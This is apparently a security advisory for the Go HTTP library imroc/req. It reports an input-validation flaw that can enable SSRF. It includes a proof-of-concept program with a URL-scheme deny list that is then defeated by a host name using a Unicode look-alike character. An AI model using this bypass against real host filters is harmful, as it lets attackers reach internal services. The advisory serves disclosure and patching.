Improper Input Validation Affecting github.com/imroc/req package, versions >=3.7.0 <3.43.4

Affected versions of this package are vulnerable to Improper Input Validation due to improper handling of malformed URLs via the url.Parse and client.R().Get functions. Exploiting this vulnerability might result in Server-Side Request Forgery (SSRF), or Remote Code Execution (RCE).

package main

import (
    "fmt"
    "github.com/imroc/req/v3"
    "io"
    "net/url"
    "strings"
)

func safeURLOpener(inputLink string) (*req.Response, error) {
    blockSchemes := map[string]bool{
        "file": true, "gopher": true, "expect": true,
        "php": true, "dict": true, "ftp": true,
        "glob": true, "data": true,
    }
    blockHost := map[string]bool{
        "vulndetector.com": true,
    }

    parsedUrl, err := url.Parse(inputLink)
    if err != nil {
        fmt.Println("Error parsing URL:", err)
        return nil, err
    }

    inputScheme := parsedUrl.Scheme
    inputHostname := parsedUrl.Hostname()

    if blockSchemes[inputScheme] {
        fmt.Println("input scheme is forbidden")
        return nil, nil
    }

    if blockHost[inputHostname] {
        fmt.Println("input hostname is forbidden")
        return nil, nil
    }

    client := req.C()
    resp, err := client.R().Get(inputLink)
    if err != nil {
        return nil, err
    }

    return resp, nil
}

func verify() {
    payload := "http://vulndⓔtector.com/"
    result, _ := safeURLOpener(payload)
    if result != nil {
        defer result.Body.Close()
        if result.StatusCode == 200 {
            bodyBytes, err := io.ReadAll(result.Body)
            if err != nil {
                fmt.Println("Failed to read response body:", err)
                return
            }
            bodyString := string(bodyBytes)
            if strings.Contains(bodyString, "FindVuln") {
                fmt.Println("payload find! ==>", payload)
            }
        }
    }
}

func main() {
    verify()
}

• GitHub Commit
• GitHub Commit
• Vulnerable Code